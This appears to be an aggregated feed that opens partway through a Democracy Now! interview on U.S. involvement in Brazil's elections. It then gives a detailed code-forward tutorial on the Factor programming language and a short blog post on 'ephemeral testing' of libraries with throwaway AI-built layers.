If in the last elections the U.S. played a very positive role when it very clearly signaled to Jair Bolsonaro that it wasn’t going to support any coup attempts to overrule the result of the elections, in these elections and since last year, there’s been a clear pattern of U.S. interference, starting with the tariffs imposed on Brazil at the time of the coup trials that came to an end in September last year. And there was a very open, very explicit activity on the part of one of the Bolsonaro brothers to lobby the U.S. government to impose those tariffs on Brazil. So, we’ve had more tariffs imposed on Brazil this year.

But on top of that, there is another thing that was an object of lobby from the Bolsonaro family, the fact that very recently the U.S. named the two major drug factions in Brazil as terrorist organizations, which we understand from the pattern that we’ve seen in places like Colombia, Venezuela, etc., is always a first step in the direction of more intense interference, including potentially military intervention, which is supposed to be fighting the war on drugs, but, in effect, is actually interfering in domestic policy, in domestic politics, and picking sides in domestic politics in countries of the region.

Finally, there’s also been a pattern of funds being invested both from supporters of President Trump or supporters of the far right in the U.S., but also from the State Department, funds that have been directed to political activity in Brazil, which has systematically been political activity on the right, to support the candidacy of Flávio Bolsonaro and his supporters.

AMY GOODMAN : Flávio Bolsonaro asked Trump to designate two crime groups as terrorist groups. Does this open, as you’re talking about, U.S. — more of a U.S. military presence in Brazil if Bolsonaro wins? Also, Flávio Bolsonaro is vowing to build more maximum-security prisons similar to El Salvador’s CECOT prison, which the U.S. used to send hundreds of migrants to, until a judge ruled they had to be released.

RODRIGO NUNES : Yeah, absolutely. I mean, the model here — one of the models here is very clearly Nayib Bukele in El Salvador, both in the sense of the public security policies of Nayib Bukele, so, you know, an intensification of the militarization of social conflict, and with absolute disregard to human rights, but also in the sense of a policy of automatic alignment with U.S. interests. So, we could see — we could end up seeing Brazil, like El Salvador, becoming a first line of support for Trump’s migration policies in the U.S., but also Flávio Bolsonaro has spoken very openly and very clearly about the fact that he intends — and, obviously, this is part of the bargain that he’s making with the U.S., the present U.S. government — he’s spoken very openly about the fact that if he wins, Brazil’s rare earths will be — will be entirely dedicated to, and other resources, like oil and so on, will be entirely dedicated to U.S. interests, which, obviously, in the U.S.’s present situation in its competition, international competition, with China, Brazil would be a major asset. Brazil has the second-largest reserves of rare earth in the world, one of the largest reserves of oil, as well, so this would be a major asset for the U.S. in the coming years.

AMY GOODMAN : Rodrigo Nunes, I want to thank you for being with us, Brazilian philosopher, author of Anatomy of Disintegration: What Brazil Reveals About the Global Far Right , out this week from Haymarket Books.

Coming up, “I am Jane Doe.” The rallying cry of outrage grows over Cornell University’s handling of allegations of a female student who says she was raped by seven fraternity members in 2024. Stay with us.

[break]

AMY GOODMAN : The great Brazilian singer Caetano Veloso performing in New York City years ago.

The original content of this program is licensed under a Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 United States License . Please attribute legal copies of this work to democracynow.org. Some of the work(s) that this program incorporates, however, may be separately licensed. For further information or additional permissions, contact us.

Factor Overview

Lobsters
re.factorcode.org
2026-10-05 08:11:57
Comments...
Original Article

I highly recommend reading the guided tour of Factor . It provides a great introduction to the language and libraries of Factor . Even still, I sometimes have also wanted to have more code-forward examples of everyday syntax, control flow, combinators, and some of the main libraries. This is that overview. It assumes you have programmed before, but have not necessarily used a stack-based language.

Hello, world

The simplest Hello, world is just:

You can run that from the listener :

IN: scratchpad "Hello, world!" print
Hello, world!

And you can run it from the command-line:

$ ./factor -e="\"Hello, world!\" print"
Hello, world!

Of course, you can also make this a file named hello.factor , which defines a hello vocabulary (something you learn about in the your first program tutorial).

USING: io ;
IN: hello

: main ( -- )
    "Hello, world!" print ;

MAIN: main

The syntax used above includes:

  • USING: imports vocabularies (named collections of words)
  • IN: selects the vocabulary for definitions, and
  • MAIN: sets an entry point.

And then you can run it either as a script:

$ ./factor hello.factor
Hello, world!

Or, if this is available in the vocabulary roots search path, run the vocabulary’s main word:

$ ./factor -run=hello
Hello, world!

For the rest of this overview, try the examples in the listener , Factor’s interactive REPL . Start the terminal listener with ./factor -run=listener , or use the graphical listener in the development environment. Each example includes its imports; examples that build on a definition assume you have entered that definition too. IN: scratchpad puts experimental definitions in the listener’s usual working vocabulary. Feel free to paste the code directly, to see what it does. Comments beginning with ! are part of valid Factor source.

For a quick start, work through the stack, word definitions, quotations, control flow, and sequences. The later sections introduce objects, metaprogramming, and libraries that you can return to as you need them.

Values and the stack

Literals push values onto the data stack. Words consume inputs from the top of that stack and push their outputs. Code runs from left to right:

USING: math prettyprint ;

2 3 + .                         ! 5
10 4 - .                        ! 6
2 3 + 4 * .                     ! 20

. consumes and prints an object. print consumes and prints a string. The comments beside examples show the output. Because printing removes the value, these examples leave the stack empty unless stated otherwise. There are no parentheses around function arguments: put the arguments on the stack, then invoke the word. Below, the top of the stack is on the right:

Code       Stack
2          2
3          2 3
+          5
4          5 4
*          20
.          (empty)

Spaces matter. 2 3 + is three tokens; 2+3 is a single token, which would need to be the name of a word. Names like number>string , empty? , and set-at are ordinary word names. A trailing ? conventionally marks a predicate; > often appears in conversion names. Those characters are part of the name, not separate operators. A trailing ! often marks a mutating variant, such as append! ; * usually marks an alternative form. There are some conventions useful for learning word and type naming.

Comments and literals

USING: math multiline prettyprint ;

! A comment runs to the end of the line.
/* A block comment can span
   several lines. */

42 .                            ! Integer
-17 .                           ! Negative integer
0xff .                          ! 255, hexadecimal
0b1010 .                        ! 10, binary
3/4 .                           ! Exact rational
1.25 .                          ! Floating point
C{ 2 3 } .                      ! Complex number: 2 + 3i

t .                             ! True
f .                             ! False
"hello\nworld" .                ! String with an escape
CHAR: A .                       ! 65, a character code point

{ 1 2 3 } .                     ! Array
V{ 1 2 3 } .                    ! Growable vector
B{ 0 127 255 } .                ! Byte array
H{ { "name" "Ada" } } .         ! Hashtable
[ 1 + ] .                       ! Quotation: code as a value

Arrays and quotations contain objects without executing them. Collection literals are useful for fixed data; when mutating one inside a word, use clone to obtain a fresh copy rather than changing a shared literal. This is a shallow copy: objects inside the collection are still shared.

Block comments come from the multiline vocabulary.

CHAR: produces an integer code point; Factor has no separate character type. { ... } is an array, while [ ... ] is executable code held as a value called a quotation . Spaces separate the literal openers, their contents, and the closing delimiters, as in { 1 2 3 } and [ 1 + ] .

Strings and escape characters

String literals use double quotes. A backslash introduces a character escape :

Escape Meaning
\" Double quote
\\ Backslash
\a Bell (code point 7)
\b Backspace (8)
\e Escape (27)
\f Form feed (12)
\n Newline (10)
\r Carriage return (13)
\s Space (32)
\t Tab (9)
\v Vertical tab (11)
\0 Null (0)
\ooo Code point given by one to three octal digits
\xHH Code point given by exactly two hexadecimal digits
\uHHHHHH Code point given by exactly six hexadecimal digits
\u{H...} Code point given by hexadecimal digits inside braces
\u{name} Named Unicode character, with Unicode support loaded

For example:

USING: io prettyprint sequences unicode ;

"She said \"hello\"." print        ! She said "hello".
"C:\\Users\\Ada" print             ! C:\Users\Ada
"\x41\u000042\u{43}" print         ! ABC
"\u{greek-small-letter-pi}" print  ! π
"first\nsecond" print              ! Prints two lines
"\t" length .                      ! 1: the escape represents one character
"hello" length .                   ! 5
"hello" >upper .                   ! "HELLO"
"a,b,c" "," split .                ! { "a" "b" "c" }
{ "a" "b" "c" } ", " join .        ! "a, b, c"
"42" string>number .               ! 42
42 number>string .                 ! "42"
"oops" string>number .             ! f

The six-digit \u form differs from languages that use four digits; the braced form is often easier to read. Unknown escapes are errors. Strings can also span source lines directly: an actual newline becomes part of the string. A backslash immediately before a source newline continues the string without including that newline. A backslash followed by a literal space also represents a space, like \s .

Note: the length of a string is the number of code points, not the number of visible glyphs. You can learn a bit more by reading about Factor’s Unicode support.

Stack shuffling

Typical of concatenative languages , the stack is a data structure with it’s own access patterns that we often call stack shuffling .

USING: kernel prettyprint ;

10 dup . .                      ! Prints 10, then 10
10 20 swap . .                  ! Prints 10, then 20
10 20 over . . .                ! Prints 10, then 20, then 10
10 20 nip .                     ! 20: discard the second item
10 20 drop .                    ! 10: discard the top item

The usual stack shuffling words have these effects:

! dup   ( x -- x x )
! drop  ( x -- )
! swap  ( x y -- y x )
! over  ( x y -- x y x )
! nip   ( x y -- y )
! rot   ( x y z -- y z x )

Most Factor code uses short definitions and combinators to keep explicit shuffling to a minimum.

In a stack effect, inputs and outputs run from left to right, with the topmost value last. swap therefore changes a stack ending in x y into one ending in y x ; values below those inputs are untouched. Repeated . calls print the topmost result first.

Defining words

You can create words that contain code that is executed when called:

USING: kernel math prettyprint ;
IN: scratchpad

: square ( n -- n-squared ) dup * ;
: neighbors ( n -- below above )
    dup 1 - swap 1 + ;

5 square .                      ! 25
5 neighbors . .                 ! Prints 6, then 4

CONSTANT: answer 42
answer .                        ! 42

: begins a definition and ; ends it. The stack effect ( inputs -- outputs ) documents how many values the word consumes and produces. Its names describe the values; they do not bind variables or specify types. The compiler checks stack effects, including compatible effects for branches. Words can return several values simply by leaving them on the stack. There is no explicit return : execution finishes at the end of the word.

ALIAS: new-name existing-word defines another name for a word.

Arithmetic and comparisons

Lots of arithmetic is available for computing with numbers :

USING: kernel math math.functions math.order prettyprint ;

7 2 / .                         ! 3+1/2, an exact rational
7 2 /i .                        ! 3, integer division
7 2 mod .                       ! 1
2 10 ^ .                        ! 1024
9 sqrt .                        ! 3.0
-5 abs .                        ! 5
3 8 min .                       ! 3
3 8 max .                       ! 8

2 3 < .                         ! t
2 3 >= .                        ! f
"hello" "hello" = .             ! t, value equality

Integers grow beyond machine size automatically, and division of integers can produce exact ratios . Use floating-point inputs when you want floating-point arithmetic.

Bitwise operations have their own names, separate from boolean logic:

USING: math prettyprint ;

0b1100 0b1010 bitand .          ! 8
0b1100 0b1010 bitor .           ! 14
0b1100 0b1010 bitxor .          ! 6
1 3 shift .                     ! 8: shift left
8 -1 shift .                    ! 4: shift right

Quotations

Square brackets produce a quotation . call executes it:

USING: kernel math prettyprint sequences ;

5 [ 1 + ] call .                ! 6
{ 1 2 3 } [ 2 * ] map .         ! { 2 4 6 }

Quotations can be passed to words, returned from words, and stored in collections. Words that take quotations are called combinators .

Booleans and conditionals

In boolean tests , only f is false. Zero, an empty string, and an empty array are all true.

USING: kernel math prettyprint ;

t f and .                        ! f
t f or .                         ! t
f not .                          ! t

3 2 > [ "yes" ] [ "no" ] if .    ! "yes"
0 [ "truthy" ] [ "false" ] if .  ! "truthy"

t [ "runs" . ] when
f [ "runs too" . ] unless

if consumes a condition and two quotations. It calls the first quotation for a true condition and the second for f . when and unless take one quotation. These are words that operate on code values, just like + operates on numbers.

For several alternatives, use cond or case :

USING: combinators kernel math prettyprint ;
IN: scratchpad

: sign-name ( n -- string )
    {
        { [ dup 0 < ] [ drop "negative" ] }
        { [ dup 0 = ] [ drop "zero" ] }
        [ drop "positive" ]
    } cond ;

-3 sign-name .                  ! "negative"

: color-name ( color -- string )
    {
        { "r" [ "red" ] }
        { "g" [ "green" ] }
        [ drop "unknown" ]
    } case ;

"g" color-name .                ! "green"

cond tries predicate quotations in order. case compares an input with each key; a matching branch consumes the key automatically, while the default branch receives the unmatched input.

and and or combine values that have already been computed. For short-circuit evaluation , pass predicate quotations instead:

USING: combinators.short-circuit kernel math prettyprint ;

5 { [ 0 > ] [ 10 < ] } 1&& .    ! t: positive and less than ten
-5 { [ 0 < ] [ 10 > ] } 1|| .   ! t: negative or greater than ten

Each predicate receives the same input. 1&& stops at the first false result; 1|| stops at the first true result. The leading number is the number of inputs passed to each predicate.

Keeping and hiding values

The dip word temporarily hides a value while a quotation works on the stack below it. keep gives a quotation a value and also preserves that value:

USING: kernel math prettyprint ;

10 20 [ 1 + ] dip + .           ! 31: increment 10, then restore 20
5 [ 1 + ] keep . .              ! Prints 5, then 6
! dip   ( ..a x quot -- ..b x )
! keep  ( ..a x quot -- ..b x )

The overall shapes look alike, but dip hides x from the quotation and keep passes it in. 2dip hides two values; 2keep preserves two inputs.

Applying several quotations

The bi family covers several common ways to distribute inputs:

USING: kernel math prettyprint ;

! Apply two quotations to the same input.
5 [ 1 + ] [ 2 * ] bi . .        ! Prints 10, then 6

! Apply one quotation to each of two inputs.
3 4 [ 2 * ] bi@ . .             ! Prints 8, then 6

! Apply separate quotations to separate inputs.
3 4 [ 1 + ] [ 2 * ] bi* . .     ! Prints 8, then 4

! Apply two quotations to the same pair of inputs.
3 4 [ + ] [ * ] 2bi . .         ! Prints 12, then 7

For example, 2bi lets a word calculate two results from the same inputs:

USING: kernel math prettyprint ;
IN: scratchpad

: sum-and-product ( a b -- sum product )
    [ + ] [ * ] 2bi ;

3 4 sum-and-product . .         ! Prints 12, then 7

Then tri , tri@ , and tri* extend these patterns to three quotations or inputs.

You can find cleave , napply and spread as the generalizations of those patterns.

Partial application and composition

The curry word binds a value to the beginning of a quotation. compose joins two quotations so that one runs after the other:

USING: kernel math prettyprint sequences ;

{ 1 2 3 } 10 [ + ] curry map .    ! { 11 12 13 }
5 [ 1 + ] [ 2 * ] compose call .  ! 12

10 [ + ] curry behaves like [ 10 + ] . This is a convenient way to build a quotation using a value computed at runtime.

The fry vocabulary provides quotation templates. _ inserts a value; @ inserts a call to a supplied quotation:

USING: fry kernel math prettyprint sequences ;

{ 1 2 3 } 10 '[ _ + ] map .     ! { 11 12 13 }
5 [ 1 + ] '[ @ 2 * ] call .     ! 12

The apostrophe in '[ ... ] makes this a template rather than an ordinary quotation. Its placeholders consume their values when the template is constructed, not when the resulting quotation is called.

Defining combinators

A combinator can be an ordinary word with quotation inputs. Give those inputs their own stack effects and declare the word inline so the compiler can infer the effects at its call sites:

USING: kernel math prettyprint ;
IN: scratchpad

: twice ( ... quot: ( ... -- ... ) -- ... )
    dup [ call ] dip call ; inline

3 [ 2 * ] twice .               ! 12

The ... represents values carried through the combinator. Here, the supplied quotation must preserve stack height, and twice calls it twice.

Loops and recursion

USING: kernel math prettyprint sequences ;

3 [ "hello" . ] times           ! Print three times
{ "Ada" "Grace" } [ . ] each    ! Visit each element
5 <iota> [ . ] each             ! Print 0 through 4

0 [ dup 3 < ] [ dup . 1 + ] while drop
! Print 0, 1, 2; keep the counter on the stack

The looping combinator while calls its predicate before each iteration. The predicate leaves a condition; the body updates the loop’s values. until reverses the condition. Often each , map , or reduce expresses the loop directly.

Recursion uses an ordinary call to the word being defined:

USING: kernel math prettyprint ;
IN: scratchpad

: factorial ( n -- n! )
    dup 1 <=
    [ drop 1 ]
    [ dup 1 - factorial * ] if ;

5 factorial .                   ! 120

Definitions are read in order: define helper words before words that use them. DEFER: declares a word before its implementation, allowing mutual recursion:

USING: kernel math prettyprint ;
IN: scratchpad

DEFER: odd-count?

: even-count? ( n -- ? )
    dup 0 = [ drop t ] [ 1 - odd-count? ] if ;

: odd-count? ( n -- ? )
    dup 0 = [ drop f ] [ 1 - even-count? ] if ;

6 even-count? .                 ! t
7 odd-count? .                  ! t

These examples accept nonnegative integers. Factor guarantees tail-call optimization , so a final call such as the one to odd-count? can continue without growing the call stack.

Local variables and closures

When names make an algorithm easier to read, import locals and define a word with :: . Inputs become lexical variables:

USING: kernel locals math prettyprint sequences ;
IN: scratchpad

:: rectangle-area ( width height -- area )
    width height * ;

:: add-offset ( seq offset -- newseq )
    seq [| n | n offset + ] map ;

3 4 rectangle-area .            ! 12
{ 1 2 3 } 10 add-offset .       ! { 11 12 13 }

:: hypotenuse-squared ( a b -- n )
    a a * :> a-squared
    b b * :> b-squared
    a-squared b-squared + ;

:> binds a computed value. [| n | ... ] names quotation inputs and can capture enclosing variables, as offset does above. Output names in :: still describe stack results; there is no implicit return variable.

Mutable locals have an exclamation point in their declaration and an associated setter:

USING: kernel locals math prettyprint ;

[let
    0 :> total!
    5 [ total 1 + total! ] times
    total .                     ! 5
]

[let ... ] establishes a lexical scope, including in the listener.

Sequences

Arrays, vectors, strings, and several other types share the sequence protocol . Most sequence words work across these types:

USING: kernel math prettyprint sequences sorting ;

{ 10 20 30 } length .               ! 3
{ 10 20 30 } first .                ! 10
1 { 10 20 30 } nth .                ! 20, zero-based indexing
{ 1 2 } { 3 4 } append .            ! { 1 2 3 4 }
{ 1 2 3 } reverse .                 ! { 3 2 1 }

{ 1 2 3 4 } [ dup * ] map .         ! { 1 4 9 16 }
{ 1 2 3 4 } [ 2 mod 0 = ] filter .  ! { 2 4 }
{ 1 2 3 4 } 0 [ + ] reduce .        ! 10
{ 1 2 3 } [ 0 > ] all? .            ! t
{ 1 2 3 } [ 2 = ] any? .            ! t
{ 3 1 2 } natural-sort .            ! { 1 2 3 }

V{ 1 2 } clone
3 over push .                       ! V{ 1 2 3 }

The sequence combinator map collects quotation results; each is for side effects. reduce threads an accumulator through the sequence. push mutates a growable sequence and consumes both the new element and the sequence.

For incremental construction, make collects values produced inside a quotation. , adds one element and % adds the elements of a sequence:

USING: make prettyprint ;

[ 1 , { 2 3 } % 4 , ] { } make .            ! { 1 2 3 4 }
[ "Hello" % CHAR: \s , "Ada" % ] "" make .  ! "Hello Ada"

The final exemplar ( { } or "" ) chooses the result type. Prefer map , filter , or append when one of those directly expresses the operation.

Specialized arrays store elements as C numeric types in contiguous memory while supporting the sequence protocol:

USING: alien.c-types prettyprint sequences specialized-arrays ;
SPECIALIZED-ARRAY: double

double-array{ 1.0 2.0 3.0 } length .  ! 3

Hashtables and sets

Associative collections use the assocs protocol :

USING: assocs kernel prettyprint ;

"Ada" H{ { "Ada" 36 } { "Grace" 85 } } at .  ! 36
"missing" H{ { "Ada" 36 } } at .             ! f
"enabled" H{ { "enabled" f } } at* . .       ! Prints t, then f

H{ { "Ada" 36 } } clone
37 "Ada" pick set-at
"Ada" swap at .                              ! 37

at* returns a presence flag as well as a value, distinguishing a missing key from a key whose value is f . set-at takes a value, key, and assoc.

Sets also have a protocol, with useful operations on ordinary sequences:

USING: prettyprint sets ;

{ 1 2 2 3 } members .           ! { 1 2 3 }
2 { 1 2 3 } in? .               ! t
{ 1 2 } { 2 3 } union .         ! { 1 2 3 }
{ 1 2 } { 2 3 } intersect .     ! { 2 }
{ 1 2 } { 2 3 } diff .          ! { 1 }

For repeated membership checks, use a hash set rather than scanning a sequence:

USING: hash-sets prettyprint sets ;

2 HS{ 1 2 3 } in? .             ! t

Tuples and accessors

Tuples define classes with named slots. boa constructs a tuple from slot values in declaration order:

USING: accessors kernel prettyprint ;
IN: scratchpad

TUPLE: person name age ;
C: <person> person

"Ada" 36 <person>
dup name>> .                    ! "Ada"
37 >>age
age>> .                         ! 37

C: defines a constructor using boa . name>> reads a slot; >>age writes a slot and returns the tuple, allowing chained updates. You can also construct an instance with person new and set its slots explicitly. Names such as <person> conventionally denote constructors; the angle brackets are part of the word’s name.

Tuple literals use T{ ... } . Slots can also declare a class, an initial value, or the read-only attribute:

USING: accessors kernel math prettyprint ;
IN: scratchpad

T{ person { name "Grace" } { age 85 } } name>> .  ! "Grace"

TUPLE: counter { value integer initial: 0 } ;

counter new
[ 1 + ] change-value
value>> .                                         ! 1

Slot declarations constrain stored values. { name string read-only } , for example, declares a string slot that is initialized at construction and has no generated setter. change-value applies a quotation to the current slot value, stores the result, and returns the tuple.

Structs and C layouts

STRUCT: defines a record backed by a C memory layout. Every field declares a C type, and the usual slot accessors work on struct instances:

USING: accessors alien.c-types classes.struct kernel prettyprint ;
IN: scratchpad

STRUCT: c-point
    { x double }
    { y double } ;

3.0 4.0 c-point boa
dup x>> .                       ! 3.0
y>> .                           ! 4.0

PACKED-STRUCT: packet-header
    { kind uint8_t }
    { length uint32_t } ;

packet-header heap-size .       ! 5

boa initializes fields from stack values; c-point <struct> creates an instance with its declared initial field values. These constructors use garbage-collected storage. STRUCT: includes alignment padding according to the platform’s C layout rules. PACKED-STRUCT: removes padding between fields and at the end, for layouts that explicitly require packed storage. It does not choose byte order.

UNION-STRUCT: defines overlapping C fields that share the same storage. It serves a different purpose from UNION: , which groups Factor classes. Use tuples for ordinary Factor records and structs when you need C-compatible memory or an explicitly specified binary layout.

Generic words and classes

A generic word chooses a method based on the class of its topmost input. This example reuses person and <person> from “Tuples and accessors”:

USING: accessors kernel math math.parser prettyprint ;
IN: scratchpad

GENERIC: description ( obj -- string )

M: person description name>> ;
M: integer description number>string ;

"Ada" 36 <person> description .  ! "Ada"
42 description .                 ! "42"

A tuple subclass inherits its parent’s slots and can add its own. An overriding method can reuse the next less-specific method with call-next-method :

USING: accessors kernel prettyprint sequences ;
IN: scratchpad

TUPLE: employee < person role ;
C: <employee> employee

M: employee description
    [ call-next-method ] [ role>> ] bi " - " glue ;

"Ada" 36 "programmer" <employee> description .
! "Ada - programmer"

The constructor takes inherited slots first ( name , age ), then role . Here call-next-method receives the employee, calls the person method, and returns "Ada" ; the override combines that with the employee’s role. It must appear inside a method definition and receives its inputs from the stack, just like an ordinary call.

M: defines a method. This is how protocols such as sequences and assocs provide common operations for many concrete types. Classes also have predicate words, and you can define narrower predicate classes or unions:

USING: kernel math prettyprint strings ;
IN: scratchpad

PREDICATE: positive-integer < integer 0 > ;
UNION: text-or-integer string integer ;

3 positive-integer? .           ! t
-3 positive-integer? .          ! f
"hello" text-or-integer? .      ! t

Mixin classes are open groups of classes: INSTANCE: adds a member, including after the mixin was defined. They are useful for protocols spanning unrelated types:

USING: prettyprint ;
IN: scratchpad

MIXIN: named
INSTANCE: person named

"Ada" 36 <person> named? .      ! t

Singleton classes each have one stateless instance, useful as distinct states or options. Unlike a plain symbol, each can have its own generic methods:

USING: prettyprint ;
IN: scratchpad

SINGLETONS: pending running finished ;
UNION: job-state pending running finished ;

pending job-state? .            ! t

UNION: accepts instances of any listed class. INTERSECTION: requires membership in all listed classes. For named numeric values, ENUMERATION: is available in classes.enumeration :

USING: classes.enumeration prettyprint ;
IN: scratchpad

ENUMERATION: priority low medium high ;

priority.low .                  ! 0
priority.high .                 ! 2

Symbols and dynamic variables

Lexical locals are scoped by source structure. namespaces provides variables scoped dynamically around a quotation:

USING: namespaces prettyprint ;
IN: scratchpad

SYMBOL: current-user

"Ada" current-user [
    current-user get .          ! "Ada"
] with-variable

Called words inside the quotation see the binding too. with-variable restores the previous binding on exit. set changes a binding in the current namespace; set-global sets a global binding. A symbol is itself a value, so symbols also work as distinct markers and hashtable keys.

Errors and cleanup

USING: continuations kernel prettyprint ;
IN: scratchpad

ERROR: invalid-age age ;

[ -1 invalid-age ] [ drop "handled" ] recover .  ! "handled"

[ "work" . ] [ "cleanup" . ] finally
! Prints "work", then "cleanup"

The exception handling form ERROR: defines an error class and a word that throws an instance. recover calls a handler with the thrown object. The data stack is restored to its state before the protected quotation, then the error is pushed. finally runs cleanup on either normal completion or an error.

Factor also exposes continuations , which capture execution state and can later resume it. They underpin error handling and cooperative threads; most everyday code uses those higher-level facilities directly.

Resource disposal

Ordinary objects are garbage collected. Resources such as open streams also need deterministic disposal . dispose releases a resource explicitly. with-disposal passes a resource to a quotation and disposes it when the quotation finishes or throws:

USING: destructors io io.encodings.utf8 io.files prettyprint ;

"Hello!\n" "disposal.txt" utf8 set-file-contents

"disposal.txt" utf8 <file-reader>
[ stream-readln . ] with-disposal  ! "Hello!"

This example creates disposal.txt in the current directory. The reader is closed after reading the line. For several resources, use with-destructors and register each one for cleanup:

USING: destructors io io.encodings.utf8 io.files prettyprint ;

[
    "disposal.txt" utf8 <file-reader> &dispose
    stream-readln .             ! "Hello!"
] with-destructors

Both registration words leave the resource on the stack so you can use it:

Word When the resource is disposed
&dispose When the enclosing with-destructors scope finishes, on success or error
|dispose When the enclosing with-destructors scope exits with an error

&dispose is for resources used within a scope. |dispose is useful when building a result that owns resources: if construction fails, clean up; if it succeeds, return the resources to the caller. For example:

USING: destructors io.encodings.utf8 io.files kernel ;
IN: scratchpad

: open-two-readers ( path1 path2 -- reader1 reader2 )
    [ [ utf8 <file-reader> |dispose ] bi@ ] with-destructors ;

"disposal.txt" "disposal.txt" open-two-readers
[ dispose ] bi@                 ! Caller closes both readers

If opening the second reader throws, the first reader is disposed. On success, both readers remain open and the caller owns their cleanup. Within each registration group, destructors run in reverse registration order. The with-file-reader and with-file-writer combinators shown below manage stream cleanup automatically.

Vocabularies

A vocabulary is a namespace and a unit of source organization. A vocabulary named examples.greeting conventionally lives in examples/greeting/greeting.factor under a vocabulary root:

USING: io ;
IN: examples.greeting

<PRIVATE

: greeting ( -- string ) "Hello, world!" ;

PRIVATE>

: greet ( -- ) greeting print ;

MAIN: greet

<PRIVATE ... PRIVATE> places helper definitions in the vocabulary’s private namespace. Import public definitions with USE: examples.greeting or include it in a USING: list. Run the entry point with ./factor -run=examples.greeting once its directory is in a vocabulary root , such as your installation’s work directory. Dots organize vocabulary names; importing a parent does not automatically import its children.

Source files need explicit imports. If a word is missing, its documentation shows which vocabulary provides it. The listener may offer to import a word automatically; include that vocabulary in USING: when saving the code. For ambiguous names , use a vocabulary prefix or select a word with FROM: :

USING: math prettyprint ;

2 3 math:+ .                    ! 5

FROM: math => + ;
2 3 + .                         ! 5

Editing and reloading

Factor’s listener runs in a live image containing loaded definitions and objects. You can redefine a word and try it again in the same session. For code saved in a vocabulary, load it once with USE: , then reload changes after editing its source:

USING: vocabs.loader vocabs.refresh ;
USE: examples.greeting

"examples.greeting" reload      ! Reload this vocabulary
refresh-all                     ! Reload changed files in loaded vocabularies

This assumes you saved examples.greeting in a vocabulary root as above. The scaffold tool can create source, documentation, and test files for a new vocabulary.

Code as data, macros, and parsing words

Words are objects too. A backslash obtains a word without executing it:

USING: accessors math prettyprint words ;

\ + name>> .                    ! "+"

Quotations are built out of objects and words. Macros compute quotations that the compiler expands at call sites:

USING: kernel macros math prettyprint ;
IN: scratchpad

MACRO: add-constant ( n -- quot ) [ + ] curry ;

5 10 add-constant .             ! 15

Here 10 is the macro input, and the expansion adds it to the runtime value 5 . Macro inputs must be known at compile time.

Syntax is extensible through parsing words , which execute while source is being read. : , TUPLE: , and literal openers are examples. Libraries can add their own syntax, such as R/ ... / for regular expressions.

Memoization

MEMO: defines a word whose results are cached by its inputs:

USING: kernel math memoize prettyprint ;
IN: scratchpad

MEMO: fibonacci ( n -- m )
    dup 1 <= [ ] [
        [ 1 - fibonacci ] [ 2 - fibonacci ] bi +
    ] if ;

10 fibonacci .                  ! 55

This is useful for pure computations. Cached mutable results are shared objects, so memoization needs care when callers mutate those results.

Files and formatted output

USING: formatting io io.encodings.utf8 io.files prettyprint ;

"Ada" 36 "%s is %d years old.\n" printf

"Hello, world!\n" "hello.txt" utf8 set-file-contents
"hello.txt" utf8 file-contents print

"hello.txt" utf8 [
    readln .
] with-file-reader

The file examples create hello.txt in the current directory. formatting provides printf for formatted output. with-file-reader binds the current input stream and closes it after the quotation finishes. with-file-writer does the same for output.

JSON, regular expressions, and HTTP

The json vocabulary converts between JSON text and Factor objects:

USING: assocs json kernel prettyprint ;

"{\"name\":\"Ada\",\"age\":36}" json>
"name" swap at .                ! "Ada"

H{ { "name" "Ada" } } >json .   ! "{\"name\":\"Ada\"}"

Regular expressions use their own literal syntax:

USING: prettyprint regexp ;

"12345" R/ [0-9]+/ matches? .   ! t
"hello" R/ [0-9]+/ matches? .   ! f

The HTTP client returns both a response object and the downloaded content:

USING: http.client kernel ;

"https://factorcode.org" http-get
nip                             ! Leave only the content

Dates and calendars

calendar provides timestamps and durations and computations on them.

USING: calendar prettyprint ;

now .                              ! Current local timestamp
10 months duration>minutes         ! Lots of minutes
today next-monday                  ! The next monday after today

Random

random selects random numbers or collection elements:

USING: prettyprint random ;

10 random .                        ! Random integer from 0 through 9
{ "red" "green" "blue" } random .  ! Random element

We also have various random distributions available.

Threads

Factor threads are cooperatively scheduled. yield lets another runnable thread execute, and blocking I/O integrates with the scheduler:

USING: kernel math prettyprint threads ;

42 [ 1 + . ] curry "worker" spawn drop
yield                           ! Worker prints 43

The worker starts with an empty data stack; curry explicitly carries the input into its quotation. The concurrency vocabularies provide additional tools such as mailboxes and promises.

Calling C

The foreign function interface declares C functions as Factor words. For example, this binds strlen from the C library:

USING: alien.c-types alien.syntax prettyprint ;
IN: scratchpad

LIBRARY: libc
FUNCTION: size_t strlen ( c-string str )

"hello" strlen .                ! 5

The c-string argument converts a Factor string for the C call. The FFI also supports structures, pointers, callbacks, and arrays. Unlike the managed objects used above, foreign allocations can require explicit lifetime management.

Testing and exploring

tools.test expresses expected stack results as an array:

USING: kernel math tools.test ;

{ 5 } [ 2 3 + ] unit-test
{ 25 } [ 5 dup * ] unit-test
[ 1 0 / ] must-fail

Tests for a vocabulary conventionally live alongside its source in a *-tests.factor file. After saving tests for examples.greeting , run them with "examples.greeting" test in the listener. This also runs tests in its child vocabularies.

The development environment also lets you inspect definitions, look up documentation, and time quotations:

USING: help kernel math see sequences tools.time ;

\ map help                      ! Open documentation for map
\ + describe                    ! Describe the object ``+``
\ square see                    ! Show the earlier definition
[ 1000000 [ ] times ] time      ! Time a quotation

The Factor handbook is the next stop for more detail. For a project walkthrough, the first-program tutorial covers creating a vocabulary, editing and reloading it, and extending it with tests. The vocabulary index covers the libraries, and the source distribution includes documentation and tests next to the code. Start with small words, follow their stack effects, and use combinators to make the flow of values clear.

Ephemeral testing

Lobsters
lemire.me
2026-10-05 08:07:07
Comments...
Original Article

We have many ways to ensure software quality. Unit testing. Fuzz testing. Integration testing. And so forth.

I’d like to propose a method that was unthinkable before: ephemeral testing . (Ephemeral is a fancy word for ‘throw away’ or ‘temporary’.)

You write your code. You build your software component. Or the AI agent does it for you, it does not matter.

Then you ask an AI agent to build on it: an application, another layer, maybe several. You have it test what it built. You do not assess the original work directly. You assess how good the software built on top of it is.

It is a form of integration testing. The difference is that the software on top is entirely ephemeral. You throw it away when you are done.

A library with a clean API, stable invariants, and useful errors lets the agent produce something that works quickly. A library with hidden state, surprising defaults, or incomplete docs produces a pile of patches and failures. The failures are evidence about your code, not about the agent.

You can repeat it. Different agents, different tasks, same foundation.

In effect, instead of building the core while trying to anticipate what might be needed at the other layers, you just simulate the other layers by actually building them.

Of course, you could argue that with AI, you can rebuild everything whenever you need to. But that’s not practical. You need some form of stability.

